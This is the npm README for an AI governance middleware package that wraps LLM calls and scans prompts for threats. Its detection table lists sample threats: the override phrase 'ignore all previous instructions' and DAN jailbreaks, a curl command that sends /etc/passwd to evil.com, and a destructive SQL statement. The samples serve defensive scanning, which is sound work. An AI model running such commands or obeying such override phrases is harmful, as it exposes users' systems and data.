kasbah-control
v1.0.0
Published
KasbahOS — AI governance middleware. Govern every LLM call in real time.
Maintainers
Readme
@kasbah/control
KasbahOS — AI governance middleware. One line protects every LLM call.
Install
npm install @kasbah/controlQuick Start
const { protect } = require('@kasbah/control');
const OpenAI = require('openai');
// One line — all calls governed transparently
const openai = protect(new OpenAI(), {
apiKey: 'kg_your_key_here',
apiUrl: 'https://api.bekasbah.com',
});
const response = await openai.chat.completions.create({
model: 'gpt-4',
messages: [{ role: 'user', content: 'Hello' }],
});Get an API Key (free)
curl -X POST https://api.bekasbah.com/v1/keys \
-H "Content-Type: application/json" \
-d '{"email":"[email protected]","tier":"free"}'Returns your key instantly. Free tier: 1,000 req/day.
Direct Usage
const { KasbahAgentControl } = require('@kasbah/control');
const control = new KasbahAgentControl({
apiKey: 'kg_your_key_here',
apiUrl: 'https://api.bekasbah.com',
mode: 'enforce',
});
const decision = await control.govern({ prompt: 'User message here' });
if (decision.verdict === 'DENY') {
throw new Error('Blocked: ' + decision.threats.join(', '));
}What Gets Detected
| Category | Examples |
|----------|---------|
| Prompt injection | ignore all previous instructions, DAN roleplay, L33t evasion, base64 |
| Data exfiltration | curl evil.com?data=$(cat /etc/passwd) |
| SQL injection | DROP TABLE users |
| Credentials | AWS keys, GitHub PATs, OpenAI keys, Stripe keys (57 patterns) |
| PII | SSN, credit cards (Luhn-validated), private keys |
Response Format
{
"verdict": "DENY",
"risk": 0.77,
"threats": ["T3:injection", "l33t_evasion"],
"proof": "kasbah_proof:v1:434aedd56...",
"requestId": "kac_1778010369_qti733",
"latencyMs": 180
}Every decision includes a cryptographic HMAC-SHA256 proof — verifiable offline.
API Endpoints
| Method | Path | Auth |
|--------|------|------|
| POST | /v1/govern | x-api-key |
| POST | /v1/scan | x-api-key |
| POST | /v1/sentinel | none |
| GET | /v1/stats | x-api-key |
| GET | /v1/audit | x-api-key |
| GET | /v1/health | none |
Claude Code Hook
# Govern every Claude tool call automatically
npx @kasbah/control hookLicense
MIT — bekasbah.com
